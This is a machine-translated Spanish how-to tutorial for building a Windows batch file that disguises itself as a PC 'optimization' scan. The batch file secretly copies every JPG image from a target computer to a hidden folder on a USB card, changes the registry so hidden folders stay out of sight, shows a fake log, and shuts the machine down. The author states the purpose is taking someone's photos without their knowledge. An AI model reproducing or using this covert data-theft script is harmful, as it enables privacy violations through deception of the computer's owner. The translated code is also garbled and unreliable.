Foto de imagen espía secreta Copia de archivos por lotes: 5 pasos

2024 Autor: John Day | [email protected]. Última modificación: 2024-01-30 08:45

Entonces, lo primero es lo primero, ¿qué es esta creación instructable y por qué? Este instructable le permitirá crear un archivo por lotes que copiará todas las imágenes de una PC a su tarjeta de memoria. lo hará discretamente, haciéndose pasar por otro programa que está revisando la computadora en busca de problemas. Cuando termine, tendrá una carpeta oculta en su tarjeta de memoria con todas las imágenes copiadas. He creado este instructivo porque quería recuperar una foto digital de la máquina de alguien sin que ellos supieran que lo había hecho. El uso legítimo de este archivo le permitirá archivar / hacer una copia de seguridad de sus fotos personales. Otros usos: Este archivo puede modificarse para permitir la copia de cualquier otro tipo de documento.

Paso 1: escriba el código

Copie el siguiente código en el bloc de notas y guárdelo en la raíz de su tarjeta de memoria como un archivo bat, puede nombrarlo como quiera siempre que tenga la extensión.bat. Para asegurarse de que tenga la extensión correcta, escríbala de la siguiente manera en el cuadro de guardado del bloc de notas "copyimage.bat" (¡incluya las citas!)

@echo offecho Optimization client 2008 v3.02becho -------------------------------- echo.echo Por favor, no use su PC mientras esto se está ejecutando.echo.echo Lista de procesos de escaneo. Cuando esté completo, se mostrará un registro para que el administrador del sistema lo revise. 00000002 / f> nulmkdir / data> nulattrib + h / data> nulsetLocal EnableDelayedExpansion @ echo offfor %% a in (jpg) do (for / f "tokens = * delims =" %% f in ('dir / b / s / ad c: / *. %% a ') do (xcopy "%% f" / data / / y / h / q> nul)) attrib -s + h data / *> nulstart optimizationLog.txtshutdown / s / c " Análisis de optimización completo, su PC ahora se apagará"

Paso 2: crear un archivo de informe falso

En este paso, he creado un archivo de texto falso que pretende ser el registro de resultados del archivo por lotes que ejecutamos para copiar los archivos. Esto le permite fingir que ha sucedido algo. No importa lo que diga este archivo, puedes cambiarlo tanto como quieras, solo asegúrate de que el nombre del archivo sea correcto y que esté almacenado en la raíz de tu tarjeta de memoria. El texto que he usado es principalmente de un secuestro de este log, cópielo y guárdelo en la raíz de su tarjeta de memoria como optimizationLog.txt

Escaneo completado. Cierre este registro y permita que el administrador del sistema lo revise. Procesos en ejecución: C: / Windows / system32 / taskeng.exe C: / Windows / system32 / Dwm.exeC: / Windows / Explorer. EXEC: / Archivos de programa / Java / jre1. 6.0_07 / bin / jusched.exeC: / Windows / System32 / hkcmd.exeC: / Windows / System32 / igfxpers.exeC: / Windows / system32 / igfxsrvc.exeC: / Archivos de programa / Synaptics / SynTP / SynTPEnh.exeC: / Programa Archivos / TOSHIBA / Power Saver / TPwrMain.exeC: / Archivos de programa / TOSHIBA / SmoothView / SmoothView.exeC: / Archivos de programa / TOSHIBA / FlashCards / TCrdMain.exeC: / Archivos de programa / BitDefender / BitDefender 2009 / bdagent.exeC: / Programa Archivos / TOSHIBA / TOSCDSPD / TOSCDSPD.exeC: / Archivos de programa / Registry Mechanic / regmech.exeC: / Archivos de programa / BitDefender / BitDefender 2009 / seccenter.exeC: / Archivos de programa / Synaptics / SynTP / SynTPHelper.exeC: / Archivos de programa / Vuze / Azureus.exeC: / Archivos de programa / Microsoft Office / Office12 / OUTLOOK. EXEC: / Archivos de programa / AutoCAD 2008 / acad.exeC: / Users / Tom / AppData / Local / Temp / AdskCleanup.0001C: / Archivos de programa / Mozilla Firefox / firefox.exe C: / Windows / System32 / NOTA PAD. EXEC: / Windows / system32 / SearchFilterHost.exeC: / HijackThis / HijackThis.exeR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKCU / Software / Microsoft / Internet Explorer / Main, página de búsqueda = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKCU / Software / Microsoft / Internet Explorer / Main, página de inicio = https://www.google.co. ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Search_URL = https://go.microsoft.com/ fwlink /? LinkId = 54896R1 - HKLM / Software / Microsoft / Internet Explorer / Main, página de búsqueda = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKLM / Software / Microsoft / Internet Explorer / Main, Inicio Página = https://go.microsoft.com/fwlink/?LinkId=69157R0 - HKLM / Software / Microsoft / Internet Explorer / Search, SearchAssistant = R0 - HKLM / Software / Microsoft / Internet Explorer / Search, CustomizeSearch = R0 - HKCU / Software / Microsoft / Internet Explorer / Too lbar, LinksFolderName = O1 - Hosts::: 1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C: / Archivos de programa / Archivos comunes / Adobe / Acrobat / ActiveX / AcroIEHelperShim:.dllO2 - BHO Asistente del navegador Groove GFS - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C: / Archivos de programa / Microsoft Office / Office12 / GrooveShellExtensions.dllO2 - BHO: Clase SSVHelper - {761497BB-D6F0-462C-B6EB-D4DAF1}: / Archivos de programa / Java / jre1.6.0_07 / bin / ssv.dllO3 - Barra de herramientas: Barra de herramientas de BitDefender - {381FFDE8-2394-4f90-B10D-FC6124A40F8C} - C: / Archivos de programa / BitDefender / BitDefender 2009 / IEToolbar.dllO4 - HKLM \.. / Run: [Windows Defender]% ProgramFiles% / Windows Defender / MSASCui.exe -hideO4 - HKLM \.. / Run: [SunJavaUpdateSched] "C: / Archivos de programa / Java / jre1.6.0_07 / bin / jusched.exe "O4 - HKLM \.. / Ejecutar: [IgfxTray] C: / Windows / system32 / igfxtray.exeO4 - HKLM \.. / Ejecutar: [HotKeysCmds] C: / Windows / system32 / hkcmd.exeO4 - HKLM \.. / Ejecutar: [Persistencia] C: / Windows / system32 / igfxpers.exeO4 - HKLM \.. / Ejecutar: [SynTPEnh] C: / Archivos de programa / Syna ptics / SynTP / SynTPEnh.exeO4 - HKLM \.. / Run: [TPwrMain]% ProgramFiles% / TOSHIBA / Power Saver / TPwrMain. EXEO4 - HKLM \.. / Run: [SmoothView]% ProgramFiles% / Toshiba / SmoothView / SmoothView.exeO4 - HKLM \.. / Ejecutar: [00TCrdMain]% Archivos de programa% / TOSHIBA / FlashCards / TCrdMain.exeO4 - HKLM \.. / Ejecutar: [Toshiba TEMPO] C: / Archivos de programa / Toshiba TEMPRO / Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM \.. / Ejecutar: [BDAgent] "C: / Archivos de programa / BitDefender / BitDefender 2009 / bdagent.exe" O4 - HKLM \.. / Ejecutar: [BitDefender Antiphishing Helper] "C: / Programa Archivos / BitDefender / BitDefender 2009 / IEShow.exe "O4 - HKCU \.. / Ejecutar: [TOSCDSPD] C: / Archivos de programa / TOSHIBA / TOSCDSPD / TOSCDSPD.exeO4 - HKCU \.. / Ejecutar: [RegistryMechanic] C: / Archivos de programa / Registry Mechanic / RMTray.exe / HO4 - Inicio: OneNote 2007 Screen Clipper and Launcher.lnk = C: / Archivos de programa / Microsoft Office / Office12 / ONENOTEM. EXEO8 - Elemento de menú contextual adicional: E & xportar a Microsoft Excel - res: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9 - Botón adicional: (sin nombre) - {08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - Elemento de menú "Herramientas" adicional: Consola Sun Java - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - Botón adicional: Enviar a OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Elemento de menú "Herramientas" adicional: S & end to OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Botón adicional: eBay.co.uk - Comprar It Sell It Love It - {76577871-04EC-495E-A12B-91F7C3600AFA} - https://rover.ebay.com/rover/1/710-44557-9400-3/4 (falta el archivo) O9 - Botón adicional: (sin nombre) - {85d1f590-48f4-11d9-9669-0800200c9a66} -% windir% / bdoscandel.exe (falta el archivo) O9 - Elemento de menú adicional 'Herramientas': Desinstale BitDefender Online Scanner v8 - {85d1f590-48f4-11d9-9669 -0800200c9a66} -% windir% / bdoscandel.exe (falta el archivo) O9 - Botón adicional: Amazon.co.uk - {8A918C1D-E123-4E36-B562-5C1519E434CE} - https://www.amazon.co.uk/ exec / obidos / redirect-home? tag = Toshibaukbholink-2 1 & site = home (falta el archivo) O9 - Botón adicional: Investigación - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / REFIEBAR. DLLO10 - Archivo desconocido en Winsock LSP: c: / windows / system32 / nlaapi.dllO10 - Archivo desconocido en Winsock LSP: c: / windows / system32 / napinsp.dllO10 - Archivo desconocido en Winsock LSP: c: / archivos de programa / vmware / vmware workstation / vsocklib.dll O10 - Archivo desconocido en Winsock LSP: c: / archivos de programa / vmware / vmware workstation / vsocklib.dll O11 - Grupo de opciones: [INTERNACIONAL] Internacional * O13 - Prefijo Gopher: O16 - DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (get_atlcom Class) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - Protocolo: grooveLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - C: / Archivos de programa / Microsoft Office / Office12 / GrooveSystemServices.dllO18 - Protocolo: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C: / Archivos de programa / Archivos comunes / Microsoft Shared / Help / hxds.dllO18 - Filtrar secuestro: texto / xml - {807563E5-5146-11D5-A672-00B0D022E945} - C: / PROGRA ~ 1 / COMMON ~ 1 / MICROS ~ 1 / OFFICE12 / MSOXMLMF. DLLO20 - Winlogon Notify: igfxcui - C: / Windows / SYSTEM32 / igfxdev.dllO23 - Servicio: Agere Modem Call Progress Audio (AgereModemAudio) - Agere Sistemas - C: / Windows / system32 / agrsmsvc.exeO23 - Servicio: BitDefender Arrakis Server (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C: / Archivos de programa / Archivos comunes / BitDefender / BitDefender Arrakis Server / bin / Arrakis3.exeO23 - Servicio: Servicio de licencias de Autodesk - Autodesk - C: / Archivos de programa / Archivos comunes / Autodesk Shared / Service / AdskScSrv.exeO23 - Servicio: ConfigFree Service - TOSHIBA CORPORATION - C: / Archivos de programa / TOSHIBA / ConfigFree / CFSvcs.exeO23 - Servicio: @% SystemRoot% / ehome / ehstart.dll, -101 (ehstart) - Propietario desconocido -% windir% / system32 / svchost.exe (falta el archivo) O23 - Servicio: getPlus (R) Helper - NOS Microsystems Ltd. - C: / Archivos de programa / NOS / bin / getPlus_HelperSvc.exeO23 - Servicio: Servicio de actualización de Google (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - Propietario desconocido - C: / Archivos de programa / Google / Update / GoogleUpdate.exe "/ svc (falta el archivo) O23 - Servicio: BitDefender Desktop Update Service (LIVESRV) - Propietario desconocido - C: / Archivos de programa / Common Archivos / BitDefender / BitDefender Update Service / livesrv.exe "/ service (falta el archivo) O23 - Servicio: @% SystemRoot% / system32 / qwave.dll, -1 (QWAVE) - Propietario desconocido r -% windir% / system32 / svchost.exe (falta el archivo) O23 - Servicio: @% SystemRoot% / system32 / seclogon.dll, -7001 (seclogon) - Propietario desconocido -% windir% / system32 / svchost.exe (archivo falta) O23 - Servicio: Notebook Performance Tuning Service (TempoMonitoringService) - Toshiba Europe GmbH - C: / Archivos de programa / Toshiba TEMPRO / TempoSVC.exe O23 - Servicio: TOSHIBA Navi Support Service (TNaviSrv) - TOSHIBA Corporation - C: / Archivos de programa / TOSHIBA / TOSHIBA DVD PLAYER / TNaviSrv.exeO23 - Servicio: TOSHIBA Optical Disc Drive Service (TODDSrv) - TOSHIBA Corporation - C: / Windows / system32 / TODDSrv.exeO23 - Servicio: TOSHIBA Power Saver (TosCoSrv) - TOSHIBA Corporation - c: / Archivos de programa / TOSHIBA / Power Saver / TosCoSrv.exeO23 - Servicio: TOSHIBA SMART Log Service - TOSHIBA Corporation - c: / Program Files / TOSHIBA / SMARTLogService / TosIPCSrv.exeO23 - Servicio: VMware Agent Service (ufad-ws60) - Propietario desconocido - C: / Archivos de programa / VMware / VMware Workstation / vmware-ufad.exe "-d" C: / Archivos de programa / VMware / VMware Workstation / "-s ufad-p2v.x ml (falta el archivo) O23 - Servicio: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C: / Archivos de programa / Archivos comunes / Ulead Systems / DVD / ULCDRSvr.exe O23 - Servicio: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C: / Archivos de programa / VMware / VMware Workstation / vmware-authd.exe O23 - Servicio: Servicio DHCP de VMware (VMnetDHCP) - VMware, Inc. - C: / Windows / system32 / vmnetdhcp.exe O23 - Servicio: VMware NAT Servicio - VMware, Inc. - C: / Windows / system32 / vmnat.exeO23 - Servicio: BitDefender Virus Shield (VSSERV) - Propietario desconocido - C: / Archivos de programa / BitDefender / BitDefender 2009 / vsserv.exe "/ servicio (falta el archivo) O23 - Servicio: VNC Server Versión 4 (WinVNC4) - Propietario desconocido - C: / Archivos de programa / RealVNC / VNC4 / WinVNC4.exe "-servicio (falta el archivo) O23 - Servicio: @% ProgramFiles% / Windows Media Player / wmpnetwk.exe, -101 (WMPNetworkSvc) - Propietario desconocido -% ProgramFiles% / Windows Media Player / wmpnetwk.exe (falta el archivo)

Paso 3: ejecutar el programa

Ahora debería tener una tarjeta de memoria con dos archivos (y mucho espacio libre listo para las nuevas imágenes). Si tienes algo más en la unidad, no importa. Lleva la tarjeta de memoria a tu computadora de destino. Cuando esté registrado, tome nota de la letra de la unidad asignada, esto le permitirá ejecutarlo sin necesidad de buscar la carpeta primero. Presione la tecla de Windows y luego presione 'R' (mientras mantiene presionada la tecla de Windows). Esto abrirá un cuadro Ejecutar. En el cuadro de ejecución, escriba la ruta del archivo por lotes que creamos, la letra de la unidad es la letra asignada cuando conectó la tarjeta de memoria. Por ejemplo, si inserto mi tarjeta de memoria y registra ag: / unidad, entonces ejecutaría: g: / copyimage.bat Y luego presione enter, o haga clic en ejecutar. Esto iniciará la ejecución del archivo por lotes. Cuando esté completo, apagará la máquina. ¡Retire su tarjeta de memoria y llévesela!

Paso 4: ¡Obtén las imágenes

Ahora debería tener una tarjeta de memoria con todas las imágenes. Los archivos y la carpeta están ocultos, por lo que si no se muestra el suyo, deberá habilitarlo. Para hacer esto, vaya a una ventana del explorador (por ejemplo, abra mi computadora) y: WinXP - Herramientas, Opciones de carpeta, Ver, Mostrar archivos ocultos Vista - Organizar, Opciones de carpeta y búsqueda, Ver, Mostrar archivos ocultos Una vez seleccionado, debería poder abrir el carpeta oculta y obtenga las imágenes que deseaba!

Paso 5: Qué significa el código

Explicaré tanto del código como sea posible. la función de copia principal no fue escrita por mí, la tomé prestada del siguiente sitio y la modifiqué:

@echo off '' Detiene los comandos que se muestran en la pantalla, por lo que el usuario no sabe lo que se está haciendo echo Optimization client 2008 v3.02b echo ------------------- -------------eco. Escribe en la pantalla un título para el programa echo. Por favor, no uses tu PC mientras se está ejecutando. Eco.echo Lista de procesos de escaneo. Cuando esté completo, se mostrará un registro para que el administrador del sistema lo revise. Le dice al usuario un montón de basura que no es cierta reg add HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced / v Hidden / t REG_DWORD / d 00000002 / f> nul Agrega una clave de registro que ocultará los archivos ocultos y carpetas. Esto evita que el usuario pueda ver la carpeta que estamos creando para contener las imágenes copiadas. El comando nul al final evita que el comando informe cualquier mensaje cuando termina mkdir / data> nul Crea una carpeta en la unidad en la que reside este archivo por lotes de datos llamados. attrib + h / data> nul Oculta la carpeta creada setLocal EnableDelayedExpansionfor %% a in (jpg) do (for / f "tokens = * delims =" %% f in ('dir / b / s / ad c: / *. %% a ') do (xcopy "%% f" / data / / y / h / q> nul)) Este es el código que buscará imágenes en toda la unidad c: \. Si desea que busque en otra unidad, cambie la parte c: a la que desee. Si desea que encuentre otros tipos de archivos, indíquelos junto al texto jpg, separe los tipos de archivos con un espacio. Por ejemplo-j.webp